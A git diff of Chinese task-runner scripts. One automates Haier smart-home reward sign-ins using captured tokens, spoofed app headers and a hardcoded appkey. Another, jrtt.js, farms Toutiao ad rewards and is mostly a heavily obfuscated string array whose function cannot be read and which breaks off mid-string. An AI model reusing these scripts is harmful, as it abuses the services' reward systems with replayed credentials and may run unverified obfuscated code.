+ //this.data1 = ck[0]
+ this.ckStatus = true
+ this.taskList = '';
+ this.headersPost = {
+ 'Host': 'mps.haiersmarthomes.com',
+ 'accesstoken': this.ck,
+ 'origin': 'https://zjrs.haier.net',
+ 'user-agent': 'Mozilla/5.0 (Linux; U; Android 10; zh-CN; MI 8 Lite Build/QKQ1.190910.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/69.0.3497.100 UWS/3.22.2.55 Mobile Safari/537.36 UCBS/3.22.2.55_220929181439 ChannelId(1) NebulaSDK/1.8.100112 Nebula App/Uplus Nebula mPaaSClient',
+ 'Content-Type': 'application/json;charset=UTF-8',
+ 'accept': 'application/json, text/plain, */*',
+ 'clientid': this.clientid,
+ 'timestamp': ts13(),
+ 'accounttoken': this.ck,
+ 'appid': 'MB-UZHSH-0000',
+ 'appkey': 'f50c76fbc8271d361e1f6b5973f54585',
+ 'appversion': '7.19.0',
+ 'referer': 'https://zjrs.haier.net/haierActivitys/intelligentHouse/index.html?container_type=3&hybrid_navbar_hidden=true&needAuthLogin=1&needLogin=1&needShare=1&checkGuestMode=1',
+ //'accept-encoding: 'gzip, deflate'
+ //'accept-language': 'zh-CN,en-US;q=0.9'
+ 'x-requested-with': 'com.haier.uhome.uplus'
+ }
+
+ }
+ async task_userinfo() {//userinfo
+ try {
+ let options = {
+ url: `https://mps.haiersmarthomes.com/api-gw/wisdomHouseActivity/activity/index`,
+ headers: this.headersPost,
+ body: JSON.stringify({ "sourceClient": 1 })
+ }
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ if (result.retCode == '00000') {
+ DoubleLog(`账号[${this.index}] ck验证成功: [${result.data.nickName}] 当前贝壳 [${result.data.wisdomStarBalance}] `);
+ this.ckStatus = true
+ } else {
+ DoubleLog(`账号[${this.index}] ck验证失效,原因未知!`);
+ this.ckStatus = false
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_signin() {
+ try {
+ let options = {
+ url: `https://mps.haiersmarthomes.com/api-gw/wisdomHouseActivity/sign/signIn`,
+ headers: this.headersPost,
+ body: JSON.stringify({ "sourceClient": 1 })
+ }
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ if (result.retCode == '00000') {
+ DoubleLog(`账号[${this.index}] 签到成功: 累计签到[${result.data.signDays}] `);
+ } else {
+ DoubleLog(`账号[${this.index}] 签到失效,原因未知!`);
+
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_list() {//任务列表
+ try {
+ let options = {
+ url: `https://mps.haiersmarthomes.com/api-gw/wisdomHouseActivity/task/queryTask`,
+ headers: this.headersPost,
+ body: JSON.stringify({ "publishType": 2, "sourceClient": 1 })
+ }
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ if (result.retCode == '00000') {
+ this.taskList = result.data.taskList
+ } else {
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_do(taskCode) {//任务列表
+ try {
+ let options = {
+ url: `https://mps.haiersmarthomes.com/api-gw/wisdomHouseActivity/task/doTask`,
+ headers: this.headersPost,
+ body: JSON.stringify({ "taskCode": taskCode, "sourceClient": 1 })
+ }
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ if (result.retCode == '00000') {
+ DoubleLog(`账号[${this.index}] 任务执行成功: [${taskCode}] `);
+
+ } else {
+ DoubleLog(`账号[${this.index}] 任务执行失效:,原因未知!`);
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+
+
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ await start();
+ }
+ await SendMsg(msg);
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+
+//********************************************************
+// 变量检查与处理
+async function checkEnv() {
+ if (userCookie) {
+ // console.log(userCookie);
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n));
+ userCount = userList.length;
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${userCount}个账号`), true;//true == !0
+}
+/////////////////////////////////////////////////////////////////////////////////////
+
+function httpRequest(options, method) {
+ //options = changeCode(options)
+ typeof (method) === 'undefined' ? ('body' in options ? method = 'post' : method = 'get') : method = method
+ return new Promise((resolve) => {
+ $[method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${method}请求失败`);
+ //console.log(JSON.parse(err));
+ $.logErr(err);
+ //throw new Error(err);
+ //console.log(err);
+ } else {
+ //httpResult = data;
+ //httpResponse = resp;
+ if (data) {
+ //console.log(data);
+ data = JSON.parse(data);
+ resolve(data)
+ } else {
+ console.log(`请求api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (e) {
+ //console.log(e, resp);
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function ts13() {
+ return Math.round(new Date().getTime()).toString();
+}
+// 双平台log输出
+function DoubleLog(data) {
+ if ($.isNode()) {
+ if (data) {
+ console.log(`${data}`);
+ msg += `\n${data}`
+ }
+ } else {
+ console.log(`${data}`);
+ msg += `\n${data}`
+ }
+}
+// 发送消息
+async function SendMsg(message) {
+ if (!message) return;
+ if (Notify > 0) {
+ if ($.isNode()) {
+ var notify = require("../sendNotify");
+ await notify.sendNotify($.name, message)
+ } else {
+ $.msg($.name, '', message)
+ }
+ } else {
+ console.log(message)
+ }
+}
+// 完整 Env
+function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) }
diff --git a/backup/jrtt.js b/backup/jrtt.js
new file mode 100644
index 00000000..159d8dc9
--- /dev/null
+++ b/backup/jrtt.js
@@ -0,0 +1,11 @@
+/**
+ * 抓包教程: 看广告视频,开抓包,找有done的链接,url只要?后面的数据 url#cookie#argus#ladon#ua
+ * 环境变量: jrtt_data
+ * 黑号似乎有点严重自己看着玩吧
+ * 群 862839604
+ * 仓库 https://github.com/smallfawn/QLScriptPublic
+ * new Env("今日头条普通")
+ * cron 45 10 * * * jrtt.js
+ */
+
+const _0x56a6=['QsOXw4bDkg==','GHk+Uw==','w6jCvsOww6BdD8OB','wqbCosKAw6QW','w6ZZYWxewpLCgsKjIw==','Ei0eMiFg','wqwGw4NXwrErw6s=','wpnChMOBSMKJw6g=','NlZYwroWwpvDg8KqdnjCugA=','w4LDh8OUw7DDvw==','w6PCosOHw6w=','RU7CiQ==','VkDDjcKcTA==','fxpww53Djn3CrQ==','w6jCr8KXw6fDmsKc','KGhuwpAM','wpRCdyLCsQ==','wppGTmY1','w5BYa31dwpXCmMOrC8K4w6zCvRxC','OFJ+bMOhFcKtwqLCmg==','O2rCoA==','5aSU6Le55Lm8VOiupeeqvuWQk+WwvOivosK5w6I=','woXCisOSZQ==','GwfCnn8=','B3wGwpcYwqbDog==','c13Dr8KvRcONw7RPL0I=','eEfDrm8E','w6PCq0xg','TMOZw5vDnQ==','w77CrsKdw6HDncKBP0Ad','wrPCssOwQMKO','w4N4Vl0=','wpHCtxbDhsOtwovCpA==','e8OuRRrCkQ==','wqB/RH8ZCMKafRQ=','w6XDhsOSw73Dkg==','QcOTw4bDp8OHcy4=','ScOGw5fDncKDazkp','VsK5wo4RM8OHfA==','wrYNw5NWwqgQw6w=','ZcKTw4s+w73Cn3U=','Fi0RMTB6Yw==','UWzDmywDwpdV','CsK7b8KxwqF1bw==','w7tcwrjCgXg=','w7LCsUpqwo41','Y8KSwr4hCA==','FwnCl2M=','QcOTw4bDtcObciccwojCr30=','w59/wqXCm3w=','w6jCvsOtw7BKDMO2w7bCl3LChMOKwpQ=','FH0rVsONMsON','BCDCiMKHw6Vfw5zDiTbDrXFxEClJw6fDhMO/RgTDunzDhlY=','ETgEJg==','wqs9wqELU8OUDcOBw7jDoMKI','wrfCsDVWfsOYQBY=','wrbCsC9AUQ==','w63Cq08=','fcOxwrYUNsOccw==','w6XChl53wq4=','wqPCsDNEXQ==','cxFKw5w=','R1DDq2UEwoA=','P3DCtsK6','VcKDUcOmZGNaw6PCuRdqfw==','d8KYw5sPw7LCm34rwpk=','w6jCt3tswoggAw==','VsOZw4HDhw==','woHCjsOVeQ==','wo3CuxrDh8OnwozCow==','CWom','5p2w5om25YujwprCjg==','wpPChV8=','QGXCv8KgFcONw4HChcKswrZhXQ==','CsK7csKrwq91','wrDCpsKGw7Qb','w7d9BsO8Q24=','wqJyTXElCA==','w6XCtcKVw6g=','UcKpworDkiZQ','C8OGw58=','dsO5w6HDpw==','VUTCgBQ=','a8KoW8OlZg==','wrrCohJCSsOWSQ==','LBjCssKPw6s=','OiTCvkrDhw==','wr5kVX0oG8KKawg=','woLCl0/Dgx4vcxfClMOTGsOmwqB/N10yOMKpAz4=','P0p1QMO4','NCYNfTY=','wrPCnVTDnQUk','XVfDl2MOwoJPw7hS','PMOue8OxwprCgMKjw4gq','Nz/CucKow4Y7','wpjCh0k=','W8KxwqzDnDs=','w75mW13ClsKL','OUNtYcOJG8KowqHCsMKqw7ht','woDCmcOK','EHctQQ==','F3E8ZMOc','HXgJwpcSwrk=','w5vCjArCrQ==','CmEOwoAJwqfDgnI/wqc=','bsKgwplow5HDg2Q=','J0lr','w6FmX1nCmMKMDg==','cnbCsBUE','wrDCqMKHw7M=','w7prHcOk6KeB5p6S5ZOu5pW95o2+G8O+Jn/DnR1JWHbDmMOqw4E=','w6TCql4=','f8OUTwfCvQ==','VcOGw57DmsOa','w47DnsOGw5fDpA==','w63CqMONw7JbAA==','w7x9HMOtVmo=','wqPDnMK1C8OsLA==','EsOHw5xOLcOVw6vDisKR','I1BFwr47wpTDi8K+TA==','ZcKTw4s5w7fCgHk+wok=','CsOIw4xIIw==','wqDDicK+AsONNsO9','w5LDjsOmw40=','VcOTw4bDhcOPcg==','VcKzwokB','ecKkwplj','Q0jClx4fwo8=','GwzCn2HDtX0=','M09DwrggwpTDig==','Nz/CucKow4Y7DzbCs8On','RUrDk1wU','FDrClnbDrw==','ScKzwp0=','w7bCpUFt','GVAnXcOD','I0NtYcOqAMK3','w4HDhMOh','DMK4W8KqwpVpWw==','wqxjVH0hEg==','QMKUSsO9Rmc=','QcKZw5Eew7HCnGRjwqnDhlvCnA==','OFFERMOj','GCEeNDlkaQ==','a8KFw7EFw7DClw==','w67CtE13w5cyFGM=','KyPCrcKsw6c=','HQPCkn4dNzA=','fxpvw4fDk3Q=','wrw0wooBfg==','HBvClw==','wqDCvWjDog==','QkbDi20Uwo0=','wpDCvi5cUcOU','X8KeWQ==','wo3Dg8K3wrMvw4PDs8OHwroxcsKWw5A=','TULDiWYFwoA=','w7PCjMOBw69t','Iy7CrMKRw5wmODE=','M8KHbcKQ','UcKeWsOy','I0dFwr4lwofDvcKsUG/Cqg==','wpDChcOQ','a13DmMK6RMOMw4Vb','cQxXw4zDnW7CqQ==','w5BDfEF5','wqbDisKKGcO5KsOJ','w6HClsKoCcO2IMOfw5LCisKTw5sL','wpbCqhrDl8O3wo3Ck8OCw6jCgg==','DcONwpHDrg==','SsOZw5XDtsOcbA==','fMO2Qig=','CWsIwp4+wrzDsHkSwqt4wp0=','J1ZewqMwwrXDi8K0UETCpwvCsA==','VsKowpsBJ8OA','wpARwrYXbg==','w6bDmiFGwpzDrcO4','FMOLwrPDsyvCsMKx','QQZNw6fDvw==','w7JWwpPCr3MPLV0=','wq3DremWuuitug4=','CsOMw5xCKsOpw7fDgw==','Ej7CnGo2','IlVCasOrFw==','CHwTwoUcwrg=','IiXCn1jDmw==','b8O/VzLCq8K/wqfCsMKBwrI=','GmolX8OrKMOfwoDDu8KGOmo=','w61Jwp7ComM=','w7BWaWU=','aeODmFrCocKiblDjgpjCjcKnQT8SOcO/bC7DsMOuYMKI6L++5puI','Q8KuwpUYEcObfFN0w7fCp8Op','J0NiYsO7Gg==','w7dKwqPCvnYAAQ==','wpnCjsOIasKPw7I=','wrTCtDVBWcOd','wplNZyY=','MMOCw6hCLw==','KMOrVcOAwoQ=','Rx/DisK8UcOQw5g=','wpNNfiI=','WW3DqgcB','wpXCsQjDlw==','QcKRwoLDjh8=','5py15omM5Yq7wo19','w6LCs8K4w7bDicKJKA==','YMKVwrQtKw==','w5TClcOv','bFfDv8K4V8OJ','WmbDiA==','esOPYhjCiw==','wo7DsWE=','ZsKXw4sL','wrzDnMKvQcO7K8O+w5bCl8Kf','Fzs8Ojpm','IjnCt8Kxw7AgLSvClMOtWsO1','N0FDwqE0wp8=','XV3ClQ==','wpDCk8ODbg==','CHc/VcOAbcOdwp3Dl8KCN2o=','w4DDkgxTwok=','w7x3FQ==','C1sRwp0p','wrTCtDV6UcOfWQcRZA==','wqjCrjjDrsOT','wpnCnF/DkxQ=','woDCh0jDng==','wrDCsDVUUA==','w4/DhcO8w43Dt8KQw6DCoQcE','DMOkbMOHwpg=','dsKZw6wew6bCm34p','CsOIw4g=','wqDCpTNeVsOWRRUN','LzMAcCfDvsK7','BQnCgG4=','w4l4cUF8','LVRjaMOMGsKlwrbCoMK8w7Jr','VcOCw4DDmsOAeSIjwpQ=','Q1nCkSEQwoTDvsK6VMODw7VrQsKk','D8KnWcK3','w7LCsFpwwpQgD2nDjQ==','w6HDjyVMw5TDqsO5YA==','ZcOkeC/CjMK1','BgPCh1kXKijCi8KKwojCvsK0w5g=','w7zDmjNNwpXDqcOu','woPCrBTDjsOBwpbCscOfw4/CiMOUdw==','wp/DkMKwwrAj','wonDhcKswq4kw6LDs8ONwqY=','wpLDlMK/wqMvw7fDqQ==','w5XDn8O0w43DhcKM','UcK5wokB','bsKxwox2w5fDn0kFw5Zd','aMO2QiE=','UcKpwpXDiDtZw58=','wqQYw5dewrA=','ZcOkZTXCmsK3wqY=','ZBxNw7vDn2jCocOOw7A=','w7FJwobCuA==','bMKXw5IP','d8K1wqk7Ng==','wqk6wqk0Sw==','wpFJfSDCvcKr','wqtiSHkFFMKCfzILwrjClA==','wrl5SnE=','ccKqwoo=','OVdkwqInwpTDhw==','wqwzwrsZ','CMOZw4xY','wqPCqFnDjy8=','CTrCq0rDiw==','OEN4KMOsHcKrwq/CisK2','w7nCocKXw6DDlMKF','w5vCiyDCocOj','DsOMwpDDryTCucKAwpjDmw==','C8OGw5lPL8Odw7HDjg==','wpnDmcK/wrUJw6rDvsOOwp4W','bmjDhz4E','wrYcw4ZGwrwXw47DmcKcw6I=','6Kyy5rCq5L2G5oGdw7RZwrDCi8OFwrpIwq4NwrUvVHFPAg==','IS/CqkPDnkEt','YGLCsMKmM8OMw5HDjcK5wrs=','Vk7CihoywoDDqsKtUcODw6NF','DHYJwoAJwqbDpGglwqtu','wrPCosKaw6MwI8K6w60sw4k=','5LuX6LSK5Y+k','QsOXw4bDksOodycg','w7vCocKNw6w=','w6rCq8Kzw5DDgw==','w6jCvsOtw7pLDQ==','EcOXwoU=','wofCjsOHacK9w7Mzwr7CicOYw5PCsQ==','w6NiXUbCnA==','wpFDdA==','BmopwpwZwrE=','w6B3XVzCl8KI','wqA3wq4cQsOUCw==','w7lcwoY=','wqzCosKaw6AKJA==','ccKgwoNlw5bDhA==','ESw1GjY=','wq89wrs=','N23Ct8KwwqQvwoLCk3o=','wpPCjVo=','wr1xVWcj','PyXCvQ==','OVdmwqI0wp3Dug==','wqRjdGE0G8KG','wpbCqhrDl8O3wo0=','F8Ovw49ICA==','w7lcwobChn4CNVUJbcKqw4jDl2/Crg==','DcOZwpbDrg==','woYFw6B2wqs=','wrvDnMKoGA==','w6zCiwHCt8OsL8K9bHDDi8OzHi9j','w63CosOE','eMOyRTQ=','w7vCi8K1','UmjDmyk=','w6FScmhKwp/Cs8KnKsKyw7fCtBw=','wrDCuSBFe8OeSBY1Yw==','Gh3CmmbDokxuHks=','w7RmWw==','UmjDlwkL','woPCl1XDkg==','RMKvwokcNcOd','Z8KYw4k=','wqHCtDJYVMOHSQ==','6Lan5Yy6w7g=','wpbDnsK5','em/DmQEh','VMK1wqE=','w7ZqHcOnYWrCgX9TScKnfg==','annCnMKhBMOG','w4/DmMObw5zDlcKbw4bCgR4Aw7cIbQ==','5Luk5peG5aaR5p2r5piO6YO/','EcKtTsKowqF4Ug==','wqHCt8KEw6sH','wprCicOMaMKYw64=','G3AKwpYSwqHDpQ==','w6VqHg==','WFnChBMUwprDuA==','CHcZRsOaKcOQwpU=','wrYNw5NEwqgI','d1fDqsKqU8OXw5g=','b2XCtg==','IMOgw6xjHsO+','TcKqwqkDIw==','ZR1Cw5zDiWnCi8ORw6AC','w5/ChRvCqw==','w6LCr1x2wo8gDg==','w6J9w6U=','QhLCq+Kegg==','TMK8woPDhBA=','ZU/CgAVcwqnDrMK6fMOY','w5V8AcOZRg==','VMOTw5PDlw==','wo7DvcKNwo4F','wpfClMKIGcOqI8O0wpDCrcKRw5QCE8K+wp9VT3JnCm1A','5YeX5ouV5Yql','c13DrA==','wp3DlMKqwqMrw7HDuw==','wqt8SHs0','BMKtSsKXwqV4WMOnw5TDqQ==','wpnCgXXDmQgk','W8KYUMO/VA==','O3vCoMKwwqJs','D2w4W8OGJw==','bMOXw4LDvsO+','wrUJw5Na','T8Kowq/DiSw=','XFnCixAFwoA=','wqcHw4NL','GsOdwpY=','wppDZw==','BcOGw4AFL8Odw7E=','w5/ChR3CsMOs','w6dFbGQ=','ZMKEw5AHw5fCmnE8wr7DkE/CnA==','LcKCSsKlwoE=','wr5kRmAzD8KgYhUB','JkN4bcOgFg==','WU/CqRgewoY=','b8OlWS4=','Wi7jgKfCszDCkcOXwr/jgKQqw6NYw67CmzLCjkVPw53DnH/DvRTCp+i+keabkw==','XsKowqnDkApWw5vDhFrCuMKNw44=','wrl/dGA0FcKNag==','GBXClA==','w4fCgQ7Cp8OsM8K6','N0tD','wqTCpsKMw4YX','DHITwpwIwrPDuQ==','wqbDisKVA8O8IQ==','cG/CpcKiEcOP','JTkFbQ==','NC/CrkXDjE0m','F8Ocw4tD','ZXjCvsK5M8OLw5TDmsK7wqB1XQ==','B0FeUsO6','BmorwpwSwro=','XcKQU8Ou','TeOBhgVxIMO5wq/jgoPDszfCmStSZjsdw5EnYyHDnlMG6L+35pmD','PsOXwo3DrSPCuw==','CsOma8ODwoY=','w6/Cr8KXw6E=','VWjDgyQHwoY=','wpnCgWjDgx4mNg==','RmjDnTsH','w6bCs8Ke','w63CosOEw6Y=','w61NwpPCv2IdGlMebQ==','w7h9E8OuR3DCkw==','woTCnWjDgh4oPV8=','bcO/UAzChA==','OWfCvMKywqxnwr3CgGQ=','UiRaw45Aw6nCrDZsw7khw4VVN/C1gabnsJ3nu6TpgY3nnZfwl6KGEGUeDXM4wrTDsGzDlFLCpcO0Aw==','wpnCm0k=','w6LDkCdR','dWbDgCMLwoZ+w5nDhw==','EcOdwozDoT7Ctg==','wpzCmMOoYsKfw78=','NjjCqHDDkU0=','V8Kzwo8bNg==','woDCk0nDhQk=','NC/CrkvDnlYp','wqHCtDFbWcOSSQ==','acKtwohs','EsK8UMKAwos=','ISQOeQHDpMKpw6DCjWXDgHM=','D8OdwpPDsy/CrcKd','H0rDlFgCwovDucK2YsOYw65OQMOywqfDs8OHwq/DgsK3woHDmg==','wrPCi3PDhhs=','dMKrwoR2w6XDg34vw5xO','FMOLwq/Dsz7Cuw==','UMK/wqfDmSxMw4k=','wrvCtCBTXcODXw==','w6/CocKNw6XDvcKBPUA=','BsKmSA==','X3rDoScGwoY=','6L+J5Zib5pad5o2swp/CkTdXwo8Fw6HCiyHDo8KMw64xDA==','Q1nCkVoSwofDpMK0e8OJ','wqwbw6ldwq0B','wrDCsC1b','wro3wrgZVcOCJ8ODw6HDoMKPfDk=','DikCJjA=','DTwRNj4=','GDofOBZgcRhLFMO7UA==','c3/CosK8','MibCtg==','VMK/wqjDmj1W','OcOhbcOnwpk=','w7xHYGdtwonCgA==','YcK7dcO4cQ==','acKBT8OuUw==','GhzCmWfDomo=','woTCml7DmA==','wqtdRBLCmA==','Ih4Meyk=','b2XCtsKHFcOTw5TDmsKZwrt+Sg==','wq3Dkhvin7o=','IDMVYiPDoA==','6K6C5rCk5LyS5oG1RXh+w5/DksOmw7rDp8KGLMKvw7tyJ8OH','w6LDmi5Fwo3Dtw==','D30kVg==','bsKpwoRhw4c=','XFPCgRYCwoDDlMKsd8OY','UMKkwrYnHA==','YcKew54Yw5fCnXQrwrzDiw==','wrQcw4l2woI=','wprCnUIf','c8KkwoBn','w7BYamJRwp7CpsKnNQ==','Oz7Crl/DjBhnRGfClmzCncODwqYyw7FZw7vDqndDw4tVJjvCpnIswrQjw6FRw5rDsRtUw5oMe2RaR8O4BWQ0w7c0w4DDuAY2LynCvDRWw5tpw7I2woIKwonDlkh/LEUZXnrDi8KXF8Oh','wqPCrMKew6YM','XUbDkW4BwpFH','DgzCj1zDuW11AA==','LcOhwqfDkyk=','ECkdMA==','w4paAcO8VQ==','LiTCscKy','wonDlMKqw6opw6rDtcOAwrYH','w6fCr8Kdw6XDiMKADkIcw7Y=','IEtEwqM=','LsOW57ms5py1wrXDkvCblJXDnQ==','w6fCr8Kdw6XDiMKADlYcw7Y=','w6nCoUl9wp81FQ==','G